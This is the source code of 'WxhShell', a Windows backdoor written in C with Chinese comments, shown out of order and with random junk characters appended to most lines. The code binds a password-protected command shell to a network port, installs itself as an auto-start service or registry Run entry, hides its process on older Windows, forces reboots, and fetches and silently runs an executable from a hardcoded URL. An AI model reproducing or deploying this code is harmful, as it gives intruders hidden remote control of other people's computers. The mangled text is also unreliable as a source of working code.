    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fr E/K_L  
    else { i >/@]2  
    closesocket(wsh); st1M.}  
    ExitThread(0); ;#Crh}~  
    } $7k04e@ ]  
    break; QVA!z##  
    } HjE Tinm"  
  // 获取shell J[_?>YJ  
  case 's': { |~T+f&   
    CmdShell(wsh); w-q=.RSTn=  
    closesocket(wsh); CsQ}P)  
    ExitThread(0); _#\5]D~""  
    break; z;@S_0M,Z  
  } @?($j)9}  
  // 退出 )Lv6vnT>  
  case 'x': { ~ jrU#<'G9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f|HgLFx  
    CloseIt(wsh); 8mQd*GGu1  
    break; EZu  
    } "}azC|:5  
  // 离开 R}=]UOqH-  
  case 'q': { m<VL19o>R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B+e~k?O]1  
    closesocket(wsh); Lh5+fk~i~8  
    WSACleanup(); l<+,(E=  
    exit(1); <P Z\qE*+y  
    break; _ZvX"{y~  
        } EWvid4QEi  
  } 9DocId.  
  } h?O%XnD  
}e;p8)]Wl  
  // 提示信息 9"l%tq_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9i xnf=$Jp  
} G#=b6DB  
  } S3[oA&  
L:];[xa%  
  return; hF?\K^tF  
} e1Z;\U$&.  
ZB h@%A  
// shell模块句柄 'XjHB!!hU  
int CmdShell(SOCKET sock) J1wGK|F~  
{ %>QSeX  
STARTUPINFO si; }Q,C;!'"  
ZeroMemory(&si,sizeof(si)); r|sy_Sk/{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @%okaj#IO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,jdKcWy'  
PROCESS_INFORMATION ProcessInfo; bgx5{!A  
char cmdline[]="cmd"; s!zr>N"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1,sO =p)Yg  
  return 0; _KlPbyLU  
} )Z`viT  
.~/;v~bL  
// 自身启动模式 }N=zn7W  
int StartFromService(void) I5AjEp  
{  6-E4)0\  
typedef struct sRI=TE]s  
{ 4?6'~G$k  
  DWORD ExitStatus; \}_7^)S;  
  DWORD PebBaseAddress; )I1V 2k$n  
  DWORD AffinityMask; m+JGe5fR<  
  DWORD BasePriority; :y)&kJpleP  
  ULONG UniqueProcessId; tLGwF3e$A  
  ULONG InheritedFromUniqueProcessId; 7 5cr!+  
}   PROCESS_BASIC_INFORMATION; vmQ DcCw  
Ymh2qGcj]8  
PROCNTQSIP NtQueryInformationProcess; UHm+5%ZC  
L&F\"q9q71  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;@$," P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nHL>}Yg  
pl? J<48  
  HANDLE             hProcess; !EC\1rmdlN  
  PROCESS_BASIC_INFORMATION pbi; a~+WL  
z K]%qv]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (:hmp"S  
  if(NULL == hInst ) return 0; QrRCsy70  
(inwKRH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v6(l#,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gl4 f9Ff  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )e$-B]>7z  
`rFGSq$9  
  if (!NtQueryInformationProcess) return 0; bqLYF[#T  
qQ\hUii  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ -FQ78C  
  if(!hProcess) return 0; CMB$RLf  
+]2~@=<@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MkIO0&0O  
"VhrsVT  
  CloseHandle(hProcess); z[I/ AORl  
,}$x'8v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5Ddyb%  
if(hProcess==NULL) return 0; st^N QL  
UVi/Be#|  
HMODULE hMod; 9(\N+  
char procName[255]; I;PO$T  
unsigned long cbNeeded; d3hTz@JY  
BwA~*5TFu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <i @jD  
LWR &(p.%  
  CloseHandle(hProcess); -|UX}t*  
}E] &13>r  
if(strstr(procName,"services")) return 1; // 以服务启动 8J@OMW&[l  
9S`b7U=P  
  return 0; // 注册表启动 x6mq['_  
} X_yU"U  
:BiR6>1:  
// 主模块 ymJw{&^am  
int StartWxhshell(LPSTR lpCmdLine) B~?Q. <M  
{ Z#t.wWSq  
  SOCKET wsl; E<[ bgL  
BOOL val=TRUE; Hm[!R:HW,S  
  int port=0; 3^Q U4  
  struct sockaddr_in door; 1T^L) %&p_  
" ~hjB  
  if(wscfg.ws_autoins) Install(); H s 3*OhK\  
"!eT  
port=atoi(lpCmdLine); v[=E f  
]qT r4`.  
if(port<=0) port=wscfg.ws_port; jtJ8r5j 1  
`Y$5g~3.  
  WSADATA data; $6+P&"8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; = nN*9HRD  
|xC TX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X64I~*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Rs`Y'_B  
  door.sin_family = AF_INET; [~0q )  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uw&,pq  
  door.sin_port = htons(port); #GJh:#tt^  
y.NArN|%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %HS!^j3C%  
closesocket(wsl); _\6(4a`,  
return 1; M?CMN.Dw  
} ph+tk5k  
tOVm~C,R  
  if(listen(wsl,2) == INVALID_SOCKET) { 0(6`dr_  
closesocket(wsl); gx.]4 v  
return 1; 3Q"+ #Ob  
} Tj~#Xc  
  Wxhshell(wsl); sm S0Rk  
  WSACleanup(); M)RQIl5  
Q2PwO;E.`C  
return 0; S}I=i>QB  
hS/'b$#  
} !~kzxY  
$S("- 3  
// 以NT服务方式启动 Kt0Tuj@CY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S,>n'r[  
{ ''YjeX  
DWORD   status = 0; (!=aRC.-  
  DWORD   specificError = 0xfffffff; -JQg{A  
+Enff0 =+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; D'+8]B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >C66X?0cd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1W7BN~p14  
  serviceStatus.dwWin32ExitCode     = 0; ~;s)0M  
  serviceStatus.dwServiceSpecificExitCode = 0; 00TdX|V`  
  serviceStatus.dwCheckPoint       = 0; 6S&YL  
  serviceStatus.dwWaitHint       = 0; |`/uS;O  
^%^0x'"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pdu  
  if (hServiceStatusHandle==0) return; m @ ?e <$  
1r4/McB  
status = GetLastError(); tYa*%|!v  
  if (status!=NO_ERROR) I-hhHm<@  
{ jgIzB1H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3S?+G)qKo  
    serviceStatus.dwCheckPoint       = 0; hdb4E|'A  
    serviceStatus.dwWaitHint       = 0; ?^Ux+mVE  
    serviceStatus.dwWin32ExitCode     = status; U0T N8O}Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; R:p,Hav<q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g{(nt5|^l  
    return; K@lV P!z  
  } JR)rp3o-  
%W+ F e,]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CB1u_E_  
  serviceStatus.dwCheckPoint       = 0; &o.SmkJI  
  serviceStatus.dwWaitHint       = 0; z w9r0bG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m8'1@1d|  
} 7F~+z7(h  
h#nQd=H<g#  
// 处理NT服务事件,比如:启动、停止 q"oNB-bz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -GjJrYOU  
{ ]42 l:at  
switch(fdwControl) +3CMfYsr8  
{ 7 >(ygu  
case SERVICE_CONTROL_STOP: sxtGl^,mU:  
  serviceStatus.dwWin32ExitCode = 0; 3\7$)p+c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qiN'Tuw9  
  serviceStatus.dwCheckPoint   = 0; 2B;QS\e"  
  serviceStatus.dwWaitHint     = 0; ?YO%]mTP  
  { iI7~9SCE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K(2s%  
  } QeoDq  
  return; f' S"F  
case SERVICE_CONTROL_PAUSE: t1S~~FLE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qt 2hb  
  break; ^p/mJ1/s7  
case SERVICE_CONTROL_CONTINUE: cO9Aw!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2hP8ZfvIR  
  break; .VT,,0  
case SERVICE_CONTROL_INTERROGATE: 6np wu5!  
  break; ":ycyN@g  
}; 79_MP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Viw3 /K  
} =KLYR UW  
Dl{Pd`D  
// 标准应用程序主函数 ,d#4Ib  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cALs;)z  
{ %s>E@[s  
+fN0> @s  
// 获取操作系统版本 KMZ`Wn=  
OsIsNt=GetOsVer(); rf@81Ds  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |*i-Q @ D  
[qB=OxH?  
  // 从命令行安装 @$]h[   
  if(strpbrk(lpCmdLine,"iI")) Install(); S8l+WF4q  
M;R>]wP"V  
  // 下载执行文件 >Mn.|:DF]&  
if(wscfg.ws_downexe) { R0[Gfq9M =  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;f Gi5=-  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~4 ab\hq  
} m`~ Qr~  
&0ra a  
if(!OsIsNt) { FmPF7  
// 如果时win9x,隐藏进程并且设置为注册表启动 _1ins;c52  
HideProc(); Qs a2iw{  
StartWxhshell(lpCmdLine); \z 'noc  
} yr?\YKV)I  
else $.Ni'U  
  if(StartFromService()) 4~4Hst#^  
  // 以服务方式启动 F<[8!^l(z  
  StartServiceCtrlDispatcher(DispatchTable); n^K]R}S  
else %~~QXH\  
  // 普通方式启动 "'Ik{wGc  
  StartWxhshell(lpCmdLine); EZ4qhda  
J']W7!p  
return 0; 5> UgBA  
} E2MpMR  
aH_&=/-Tz  
Dp8(L ]6  
S(pfd2^  
=========================================== F+GQl  
P1<;:!8'  
b~}}{fm&f  
s6I]H  
Z5Cv$bUc  
 f$3  
" y4') !e  
myXV~6R 3  
#include <stdio.h> e(Ve rd:c  
#include <string.h> vjpe'zx  
#include <windows.h> LPC7Bdjz  
#include <winsock2.h> J0IK =Y  
#include <winsvc.h> A.[T#ZB.4  
#include <urlmon.h> =LRUasF  
!s$fqn 6  
#pragma comment (lib, "Ws2_32.lib") zv41Yv!x}  
#pragma comment (lib, "urlmon.lib") ee0J;pP2#  
/bWV `*  
#define MAX_USER   100 // 最大客户端连接数 !E%!,  
#define BUF_SOCK   200 // sock buffer (<12&=WxE  
#define KEY_BUFF   255 // 输入 buffer wZ^/-  
[kCn6\_<V  
#define REBOOT     0   // 重启 2rxdRg'YLQ  
#define SHUTDOWN   1   // 关机 z,)Fvs4U.  
m#Cp.|>kP4  
#define DEF_PORT   5000 // 监听端口 \ys3&<;b  
2.6,c$2tB  
#define REG_LEN     16   // 注册表键长度 cMj<k8.{  
#define SVC_LEN     80   // NT服务名长度 x\*5A,w{c]  
O1 z>A  
// 从dll定义API =c|Bu^(Ctw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =xgW$c/yB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {PU[MHZF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]n{2cPx5d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xsfq[}eH<  
.D :v0Zm}m  
// wxhshell配置信息 tQ/U'Ap&  
struct WSCFG { er53?z7zP.  
  int ws_port;         // 监听端口 t/3veDh@  
  char ws_passstr[REG_LEN]; // 口令 "783F:mPh  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y !`H_Qo  
  char ws_regname[REG_LEN]; // 注册表键名 ]C!u~A\jq  
  char ws_svcname[REG_LEN]; // 服务名 1yhx)m;f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $z<CkMP!U7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6c2fqAF>i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F?UL0Q|uv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \1tce`+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nP}/#Wy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |aZ^K\yIF  
{ Z|C  
}; $1axZ~8sS  
O @w=  
// default Wxhshell configuration H:|yu  
struct WSCFG wscfg={DEF_PORT, <a'j8pw9i  
    "xuhuanlingzhe", Z8m/8M  
    1, m+o>`1>a  
    "Wxhshell", LcF0:h'  
    "Wxhshell", m_pK'jc  
            "WxhShell Service", @FQ@* XD  
    "Wrsky Windows CmdShell Service", ;>PV]0bOm>  
    "Please Input Your Password: ", zIQ\ _>  
  1, iB\d `NUf  
  "http://www.wrsky.com/wxhshell.exe", ]Y3ALQr!  
  "Wxhshell.exe" >6@UjGj54  
    }; b&LhydaJ  
=/zQJzN  
// 消息定义模块 R)#"Ab Z'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _8bqk\m+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C ZJW`c/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5f1yszd  
char *msg_ws_ext="\n\rExit."; I!bG7;=_  
char *msg_ws_end="\n\rQuit."; m8FKr/Z-  
char *msg_ws_boot="\n\rReboot..."; o}[wu:>yk  
char *msg_ws_poff="\n\rShutdown..."; 1f}Dza9  
char *msg_ws_down="\n\rSave to "; 77)C`]0(  
$hA[vi\5  
char *msg_ws_err="\n\rErr!"; Qc6323/"  
char *msg_ws_ok="\n\rOK!"; [ P 8e=;  
Sna7r~ j  
char ExeFile[MAX_PATH]; 2^|*M@3r  
int nUser = 0; j3$KYf`T}  
HANDLE handles[MAX_USER]; F.JE$)B2EX  
int OsIsNt; nF7Ozxm#  
^f4qs  
SERVICE_STATUS       serviceStatus; b+w|3bQa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5Eq_L  
\wTW hr0  
// 函数声明  HSTtDTo  
int Install(void); GLEGyT?~  
int Uninstall(void); zg)]:  
int DownloadFile(char *sURL, SOCKET wsh); $PNR?  
int Boot(int flag); Wt_@ vs@.O  
void HideProc(void); _v_ak4m>  
int GetOsVer(void); +|^rz#X  
int Wxhshell(SOCKET wsl); ^G5 _d"Gr  
void TalkWithClient(void *cs); [~$9n_O94  
int CmdShell(SOCKET sock); 42Z2Mjtk  
int StartFromService(void); O%rjY  
int StartWxhshell(LPSTR lpCmdLine); htIV`_<Ro  
RFqbwPX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U#YM)8;Iz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ni9/7  
U*)pUJ{&t  
// 数据结构和表定义 N'TL &]  
SERVICE_TABLE_ENTRY DispatchTable[] = ^ng?+X>mP  
{ Zsaz#z|xW  
{wscfg.ws_svcname, NTServiceMain}, VNF@)!l  
{NULL, NULL} Zpg$:Rr  
}; 75gE>:f  
Dk/;`sXV  
// 自我安装 7 v#sr<  
int Install(void) BsR xD9r  
{ I:[3x2H  
  char svExeFile[MAX_PATH]; {G_ZEo#x8,  
  HKEY key; ) _"`{2  
  strcpy(svExeFile,ExeFile); \  VJ3  
k|1/gd5  
// 如果是win9x系统,修改注册表设为自启动 U^[<G6<9]  
if(!OsIsNt) { |_Z(}% <o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MH1??vW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uT ngDk  
  RegCloseKey(key); ( J5E]NV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =ejkE; %L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @"];\E$sI  
  RegCloseKey(key); vTN$SgzfCU  
  return 0; YS%HZFY, "  
    } _r&`[@m  
  } v 6Tz7  
} !\2Xr{f  
else { tyNT1F{  
~`(#sjr6KR  
// 如果是NT以上系统,安装为系统服务 ,SH))%Cyt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iq=<LOx  
if (schSCManager!=0) L3,p8-d9Z  
{ Beq zw0  
  SC_HANDLE schService = CreateService eNpGa0 eG  
  ( Y0 Ta&TYZ0  
  schSCManager, *e!0ZB3J  
  wscfg.ws_svcname, ^ola5wD  
  wscfg.ws_svcdisp, k#&d`?X  
  SERVICE_ALL_ACCESS, )mS Aog<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gm\P`~+o  
  SERVICE_AUTO_START, >`SIB; &>j  
  SERVICE_ERROR_NORMAL, "I}3*s9Q-  
  svExeFile, {+!m]-s  
  NULL, Z-.`JkKd8  
  NULL, m o nqaSF  
  NULL, 0DV .1  
  NULL, 5_9mA4gs@  
  NULL V`m'r+ Y  
  ); =Z2Cg{z  
  if (schService!=0) ZXh6Se4o  
  { FY@ErA7~  
  CloseServiceHandle(schService); UW_fn  
  CloseServiceHandle(schSCManager); =E,^ +`M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >S,yqKp37~  
  strcat(svExeFile,wscfg.ws_svcname); GMyzQ]@}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n3 -5`Jti  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p<: bP w  
  RegCloseKey(key); QJ\ o"c  
  return 0; mbK$_HvU  
    } k|'{$/ n  
  } ~*@ UQ9*p#  
  CloseServiceHandle(schSCManager); &;DK^ta*P  
} $i;%n1VBg  
} 1 \:5ow&a  
R<I)}<g(A3  
return 1; bk44 qL;8  
} 1Ue )&RW  
:q/%uca9  
// 自我卸载 K!;Z#$iw[  
int Uninstall(void) UOC>H%r~M?  
{ [W;iR_7T5  
  HKEY key; >|'u:`A  
W_8N?coM  
if(!OsIsNt) { w3WBgH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { slaYr`u  
  RegDeleteValue(key,wscfg.ws_regname); ,4M7:=gf  
  RegCloseKey(key); Nr8#/H2f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <F{EZ Ii  
  RegDeleteValue(key,wscfg.ws_regname); @ (<C{  
  RegCloseKey(key); FL*qV"r^n  
  return 0; )O*\}6:S  
  } 3|x*lmit  
} :[YHJaK  
} LX2rg\a+%  
else { P|%uB'|H  
=bgzl=A`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _FR_6*C)5  
if (schSCManager!=0) 6}4?, r  
{ ?5-Y'(r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K%iWUl;  
  if (schService!=0) cNOtfn6?F  
  { ^h\& l{e  
  if(DeleteService(schService)!=0) { Is57)(^.-  
  CloseServiceHandle(schService); W<| M0S{  
  CloseServiceHandle(schSCManager); ]wb^5H  
  return 0; e!k1GTH^  
  } Uq/FH@E=  
  CloseServiceHandle(schService); AtU%S9  
  } :+#$=4  
  CloseServiceHandle(schSCManager); )B'&XLK  
} VZF;  
} n.is+2t  
AH-B/c5  
return 1; S\5%nz \  
} ~;$,h ET  
1seWR"  
// 从指定url下载文件 GYH{_Fq  
int DownloadFile(char *sURL, SOCKET wsh) +)$oy]  
{ I(m*%>  
  HRESULT hr; I[nSf]Vm>  
char seps[]= "/"; !y_4.&C{  
char *token; x9\z^GU%H  
char *file; eLFxGZZ  
char myURL[MAX_PATH]; u|(;SY  
char myFILE[MAX_PATH]; hvW FzT5  
lEAf\T7  
strcpy(myURL,sURL); 8_$[SV$q  
  token=strtok(myURL,seps); F^4mO|  
  while(token!=NULL) iepolO=  
  { k0r93 xa  
    file=token; +q*WY*gX  
  token=strtok(NULL,seps); wH]5VltUT1  
  } Z?JR6;@W  
"xWrYq'"  
GetCurrentDirectory(MAX_PATH,myFILE); !U::kr=t  
strcat(myFILE, "\\"); y[`>,?ns5  
strcat(myFILE, file);  N$ oQK(  
  send(wsh,myFILE,strlen(myFILE),0); _\&v A5-  
send(wsh,"...",3,0); Mbm'cM&}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !#&`1cYX  
  if(hr==S_OK) xu%_Zt2/?j  
return 0; J(>T&G;  
else 1FA:"0lO  
return 1; KpX1GrIn3  
s#cb wDT  
} ==#mlpi`S[  
u~c75Mk_v  
// 系统电源模块 P*6h $T  
int Boot(int flag) B<$(Nb5<  
{ ~#MXhhqB  
  HANDLE hToken; b I"+b\K  
  TOKEN_PRIVILEGES tkp; ^iA_<@[`X[  
NJ^Bv`  
  if(OsIsNt) { m+|yk.md  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k%D|17I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gUr #3#  
    tkp.PrivilegeCount = 1; h;[<4zw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1u8 k}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g{6FpuA|0  
if(flag==REBOOT) { 5 6JxHQu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8&Md=ZvK`  
  return 0;  LA]UIM@  
} 6L<Y   
else { jWL%*dJrN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]Z IreI  
  return 0; +7 \"^D  
}  L}=DC =E  
  } I|x? K>  
  else { gCV+amP  
if(flag==REBOOT) { f/95}6M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &M>o  
  return 0; vc%=V^)N7U  
} gp+aUK~o  
else { KPjC<9sby  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u']}Z% A9`  
  return 0; k3+LP7|*  
} 1K#%mV_  
} b|-}?@&7&q  
i&TWIl8  
return 1; cY^'Cj  
} b($9gre>mI  
:u]QEZ@@  
// win9x进程隐藏模块 ;#bDz}|\AN  
void HideProc(void) 6Vgxfic  
{ 7v&>d,  
@?JFqwq!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6$)FQ U  
  if ( hKernel != NULL ) 8'PK}heBU  
  { M3G ecjR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); m Ce"=[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w8D6j%C  
    FreeLibrary(hKernel); :al ,zxs  
  } ,! H`@Kl  
D"msD"  
return; ,!O]c8PcU  
} 4V&(w, zl  
SM8f"H28  
// 获取操作系统版本 >fi_:o  
int GetOsVer(void) 0qq>(K[  
{ Z aYUf  
  OSVERSIONINFO winfo; 704_ehrlE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :b0|v`FU  
  GetVersionEx(&winfo); .?`8B9w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @#=yC.s  
  return 1; NTo[di\_  
  else <A(Bq'eQM  
  return 0; !k Heslvi  
} pAws{3(Q  
2w}l!'ue  
// 客户端句柄模块 GG`j9"t4  
int Wxhshell(SOCKET wsl) <naxpflom0  
{ i A<'i8$P  
  SOCKET wsh; R=<%!  
  struct sockaddr_in client; 4,0 8`5{  
  DWORD myID; =9h!K:,k  
F/PH=Dk  
  while(nUser<MAX_USER) T/FZn{I  
{ T>pyYF1Q  
  int nSize=sizeof(client); U.WXh(`%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;X;(7  
  if(wsh==INVALID_SOCKET) return 1; @\r2%M-  
z=TO G P(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |- <72$j  
if(handles[nUser]==0) E{P94Phv  
  closesocket(wsh); 7p- RPC  
else -'F27])  
  nUser++; :uJHFF xg  
  } 9}_'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GYg.B<Q.  
({zWyl  
  return 0; UxxX8N  
} j#U,zsv:  
.D*~UI  
// 关闭 socket +eO>> ~Z  
void CloseIt(SOCKET wsh) "Zy:q'`o  
{ jK".iqx2L  
closesocket(wsh); v>HOz\F  
nUser--; CH#K0hi  
ExitThread(0); 1?yj<^"  
} .SLpgYFL{  
(xE |T f  
// 客户端请求句柄 /M JI^\CA  
void TalkWithClient(void *cs) /~Bs5f.]?  
{ MsZx 0]  
$o0.oY#  
  SOCKET wsh=(SOCKET)cs; IT7],pM  
  char pwd[SVC_LEN]; FUf.3@}  
  char cmd[KEY_BUFF]; 9)8Cf% <(  
char chr[1]; &6vWz6!P  
int i,j; +$Y*1{hyOo  
h$}PQ   
  while (nUser < MAX_USER) { 9Z }<H/q  
t(dVd%   
if(wscfg.ws_passstr) { /OYa1,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E%( s=YhW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ex Q\qp3  
  //ZeroMemory(pwd,KEY_BUFF); 4*L* "vKa  
      i=0; fC 3T\@(&  
  while(i<SVC_LEN) { 'oK o F  
p/88mMr  
  // 设置超时 8rx|7  
  fd_set FdRead; as'yYn8  
  struct timeval TimeOut; rW090Py  
  FD_ZERO(&FdRead); Bd7B\zM  
  FD_SET(wsh,&FdRead); l p(D@FT  
  TimeOut.tv_sec=8; (@qPyM6~}  
  TimeOut.tv_usec=0; [V>s]c<4`o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); & Zn`2%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `GkCOx,  
a#{"3Z2|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :b*7TJ\grN  
  pwd=chr[0]; BU4IN$d0Po  
  if(chr[0]==0xd || chr[0]==0xa) { "GR*d{  
  pwd=0; qpMcVJL  
  break; f,F1k9-1!  
  } W/%hS)75  
  i++; [& Z- *a  
    } 7{(UiQbf  
KK5;6b  
  // 如果是非法用户,关闭 socket fm@Pa} ,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _5H~1G%q  
} (~%NRH<\  
[u$|/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i39ZBs@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <i4]qO(0u  
C #iZAR  
while(1) { 2Wu`Dp;&l  
[\#ANA"  
  ZeroMemory(cmd,KEY_BUFF); G0|}s&$yL  
$,J0) ~  
      // 自动支持客户端 telnet标准   934j5D  
  j=0; +7o1&D*v  
  while(j<KEY_BUFF) { P3]K'*Dyd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c|JQ0] K  
  cmd[j]=chr[0]; N mXRA(m  
  if(chr[0]==0xa || chr[0]==0xd) { &A*E)T#>#  
  cmd[j]=0; h=,h Yz?]  
  break; :o ~'\:/  
  } +R L@g*`  
  j++; BC/5bA  
    } oe.Jm#?2.  
ZG2EOy  
  // 下载文件 {@iLfBh5  
  if(strstr(cmd,"http://")) { >Oj$ Dn=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;l~a|KW0  
  if(DownloadFile(cmd,wsh)) l^}u S|c(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xs\<!  
  else s+v9H10R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R6BbkYWrX  
  } k}F7Jw#.  
  else { R.*;] R>M  
<W!nlh  
